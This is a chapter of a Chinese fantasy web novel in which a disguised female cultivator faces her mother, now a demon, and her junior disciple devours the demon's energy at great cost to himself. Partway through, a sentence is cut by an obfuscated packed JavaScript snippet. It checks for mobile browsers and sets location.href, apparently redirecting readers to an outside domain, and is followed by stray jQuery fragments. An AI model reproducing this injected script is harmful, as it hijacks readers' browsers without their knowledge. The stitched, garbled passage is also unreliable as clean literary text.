锥刺碎裂,一道猩红而粘稠的血液凭空浮现,沿着平滑的轨迹向下滑落,偶有一滴落在宋岐灵的眼皮之上。
顾连舟分神看去,便见师兄长睫微颤,一双紧闭的眸子骤然睁开,那滴血液顺势滑向眼角,宛如一滴血泪,湮入鬓发间。
宋岐灵深深地、大口地汲取着外界的空气,如临竭之鱼般,胸口剧烈地起伏着,她看着浮现在半空中的血痕,浅褐色的瞳仁里,蕴满了痛苦与悲伤。
从未见过师兄以这般情绪示人,顾连舟目光微滞,有一瞬间的恍惚。
在他的印象里,无论是面对贪食金银的坐蛸,亦或是那杀人入药的屠夫,师兄总是一副混不吝的态度,好像世间任何妖魔鬼怪都不值得他皱一下眉头。
绝不是眼下这般……
师兄在昏迷后都看见了什么?
“我们先离开这里。”他伸手欲扶起宋岐灵,却感知到一股凌厉的气息在剧烈挣扎。
他错愕地扭头,便见缠绕成茧的菟丝子好似被人从内撕开一般,豁然打开一道口子,接着从中溢出大股青黑的妖气来。
妖气最为浓郁之处,空气开始扭曲,蠕动,仿佛有一只看不见的手在搅动一池粘稠的墨汁。
倏忽间,那翻滚的妖气急速向中心收拢,凝聚成一抹清晰的轮廓,那是道女人的身形,纤细得惊人,仿佛稍一用力便会从中折断。
浓墨般的发丝如瀑般倾泻而下,披散在她瘦削的肩头与背上,如云的发丝拢住了一张脸,只露出半截苍白的下巴,以及一抹嫣红得刺目的唇。
她悬在半空中,周身弥漫着淡淡的黑雾,一袭看不出原本颜色的衣衫在狂暴的妖风中猎猎翻飞。
发丝被风拂开,终于露出了她的全貌。
肤色近乎透明的苍白,衬得那双眼睛赤红如血,里面翻涌着最纯粹的恶意与疯狂,嫣红的唇角缓缓向上勾起,露出一抹充满戏谑的笑容。
没有丝毫迟疑,她俯身向下五指微曲,指尖锐利如爪,带着决绝的杀意,猛地探向下方的宋岐灵,指尖未至,那凌厉的劲风已压迫得人呼吸一窒。
赤红的妖瞳中,倒映着宋岐灵骤然收缩的瞳孔和苍白的脸孔。
那饱含恶意的笑容,愈发妖艳。
“赵鸾……”宋岐灵喃喃道,抬手攥住那只纤细的腕骨,唇边溢出一丝苦笑,“你怎么还是不肯放过我?”
刺骨的寒意沿着相触的肌肤传来,她眉头微蹙,道出心底的困惑:“你是怎么认出我来的?”
她在进入王府之前,分明做了易容,更何况……她们已有十余年未见。
又或者,是她自作多情,赵鸾其实并未认出自己,只是凭借着杀生的本能,肆意攻击目光所及的所有活物亦未可知。
话音落下,那双铁钳般的手指缓缓收紧,女人凄厉的声音在偌大的拔步床内回响:“孽种——”
一缕妖气化作锋利的尖勾,在宋岐灵的眼皮子底下,沿着她裸露在外的脖颈,勾出那枚晃眼的金锁。
顾连舟看着面前诡异的一幕,心头猛地揪紧,正要动作,忽听师兄掷地有声道:“先别动手!”
思及师兄再三潜入南城王的寝房,似乎为的就是眼前的女人,虽不知背后原因如何,可听方才的对话,两人分明是旧相识。
是以,尽管菟丝子焦躁不安地摆动着触手,他还是压抑住蚕食妖气的欲望,只是忧心师兄的安危,目光一刻也不敢离开那双覆于师兄脖颈上的双手。
再次被唤作“孽种”,宋岐灵依旧感到不适,心脏砰砰跳动,震动着胸腔。
她在压迫之下艰难呼吸,凭着手腕上的息山金印,斥得那双冷硬的手退去几寸距离。
她看着因愤怒而面目扭曲的赵鸾,闭了闭眼,努力理清纷乱的思绪。
服用妖丹的赵鸾的确已“脱胎换骨”,成为一只真正的妖,而残留在她身体里,属于“人”的执念,似乎只剩下抹杀自己。
这个可怜的女人,因与兄长不伦的情愫暴露,被强嫁于驸马宋献,受尽磋磨,生下了自己,她理应憎恶一切。
可是,她又做错了什么?
宋岐灵垂眸,看着身前的刻有自己姓名的金锁。
她已经死过一次了。
在那场大火之中,她已随着母亲,一同踏入阴曹,死过一回。
她如今已不欠母亲什么了。
缓了片刻,她抬眼直面生母的恶意。
“我说,”她轻咳一声,扯了扯嘴角,笑意不达眼底,“我早已不是当初的懵懂幼童,你惹到我……算是踢到铁板了。”
话音落下,赵鸾反应不及,便见一道金色符文自二人之间炸开。
灼热、滚烫,带着磅礴的威力,轻而易举驱散周身浓郁的妖气,烫得她不得不收回手,缩成一团,离她远些距离。
宋岐灵便趁着这间隙,翻身下床,拉着师弟的臂弯往后飞快退去,“躲远些,我祭出了息山金印,对你的半妖之躯同样也会造成伤害。”
待两人站定,她将顾连舟从头到脚扫了一遍,忍不住“咦”了声,“你的菟丝子呢?”
别是被烧死了罢?
顾连舟默了默,颇为无奈道:“它们应当比我怕死,感知到危险便藏起来了……”
松了口气之余,他不免有些后怕:“师兄,方才实在是凶险,若再迟些,那妖物怕不是真会取你性命。”
他抬眼看着被逼出原型的浑沌妖气,捏了把指骨,“我们眼下该如何?”
这妖若不除,南城怕无一日安宁。
方才与这女妖接触的片刻,他便感知到不止一道妖气,就好像是……数道妖气混杂在一起,彼此并不交融、亦不吸收,妖气与妖气之间相互纠缠,凝结成的浑沌个体。
宋岐灵亦有感知,她对自己的术法并没有十足的自信,此刻若想要将妖气从赵鸾身上一道道剥离,怕是难于登天。
见她为难,顾连舟眉头微蹙:“师兄,我们已在南城王的寝屋里耽搁了太久,府中是侍卫和宾客已经听到消息,往这边聚集过来了。”
留给他们的时间不多了。
宋岐灵自是知晓其中厉害,可她来此地之前,并未做好生母妖化的准备,亦未准备收妖的金钵。
这一切都发生得太过突然……却又好似被人精心设计过一般。
师弟先前同她说过,赵煜把褚岳视为座上宾,那此事会不会也有褚岳的手笔?
思绪纷乱间,她的心中已有了答案。
“师弟,可以在不伤害她本体的情况下,吞噬她身上的妖气么?”
她面露难色,却还是硬着头皮道:“我知道这要求很无礼,可金印已支撑不了太久,若不趁她身体虚弱之际动手,以后怕是没机会了。”
顾连舟虽不解,但十分乐意帮助师兄解决这个燃眉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281279|182273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之急,“当然可以,只是我并未主动吞噬过妖气,很难保证不伤害她。”
他心虚地垂眼看向自己的脚尖:“前几次的事我都记不清了,只怕是会失去意识……”
“无妨。”宋岐灵亦不愿强人所难,“你尽力而为便好,其余的有我。”
说话间,她已快步走向门前,见门栓已插上,又扯来椅凳将门缝封死,这才转身回到拔步床一侧,与师弟四目相对,抬手掐诀,缓缓撤去息山金印。
混沌的妖气似感受到威胁,失去束缚后猛地炸开,化作数十道灰影向四面八方逃窜,试图冲破门窗。
然而顾连舟的菟丝子比它更快。
只见无数道黑影窜出,于几息间疯狂增殖、膨胀,几欲塞满整间屋子。
两种截然不同的妖力悍然对撞,气浪裹挟着毁灭性的力量轰然扩散。
粗壮的触手狠狠抽打在墙壁梁柱上,留下道道深痕,瓦砾梁木发出不堪重负的呻吟,整间屋子摇摇欲坠。
砂石尘土如瀑扑簌簌落下,挡在门前的桌椅亦被狠狠掀飞,撞在墙上粉身碎骨,拔步床前的层层床帐被无形的罡风瞬间撕扯成无数破絮碎片,被混乱的气流裹挟着,狂乱地盘旋着。
宋岐灵扶着床柱默默退了一步,她的目光扫过地面昏睡的赵煜,有些汗然。
如此毁天灭地的动静都吵不醒他,莫不是方才一不小心被她的手刀劈死了罢?
眼看着屋中木屑与罡风乱扫,十分危险,她想了想,还是往前挪了几步,大发慈悲地将人往床底塞了塞。
只听得闷哼一声,男人缓缓睁开了双眼……看见屋里骇人的一幕,又安详地闭上了双眼……
缠斗许久,灰色的妖气终是难敌菟丝子的侵袭,在一声声凄厉而不甘心的惨叫声中,被庞大的触手缠绕其中,猛地收紧!
而屋心的顾连舟何曾经历过此般战斗,卸了力似地半跪在地,任凭张牙舞爪的菟丝子搅乱屋里的陈设,险将房梁扯落下来。
见状不对,宋岐灵忙奔走上前,抬手轻拍那好斗的菟丝子,低声警告:“你再不收回去,你的主人就没命了!”
话音落下,巨大的菟丝子周身一顿,继而速度飞快地收起、蜷缩,隐匿于顾连舟脚下的阴影之中。
又听得“倏”的一声,不重的声响,却在此刻显得格外突兀。
宋岐灵循声看去,便见空荡的地面,一道单薄的人影无声无息地躺在那儿。
不同于先前那般怨气森森、戾气逼人,也不似初见时那般年轻丰盈,女人好似被抽干了血肉,只剩下一层枯槁的皮,松松垮垮地覆在嶙峋的骨架之上。
瘦弱得可怜。
是赵鸾。
想了想,宋岐灵没有走上前去。
她蹲下-身来,扶着师弟,轻声道:“感觉如何?还能站起身么?”
顾连舟摇了摇头,几乎在开口的刹那吐出血来:“不……不行。”
他感受到一股磅礴却混乱的妖气在体内肆意冲撞,如狂兽般撕扯着他的筋脉,撞碎他的肋骨,碾破他的脏器,试图从他的七窍挣扎而出。
鲜血越流越多,自唇角溢出,蔓延至下巴,将他水蓝色的衣襟染成一片深郁的暗红。
意识模糊间,他忽觉师兄搀扶他的手哆嗦得厉害,力道之大,好似在筛糠。
师兄的声音也跟着微颤:“师弟……别睡,我带你出去。”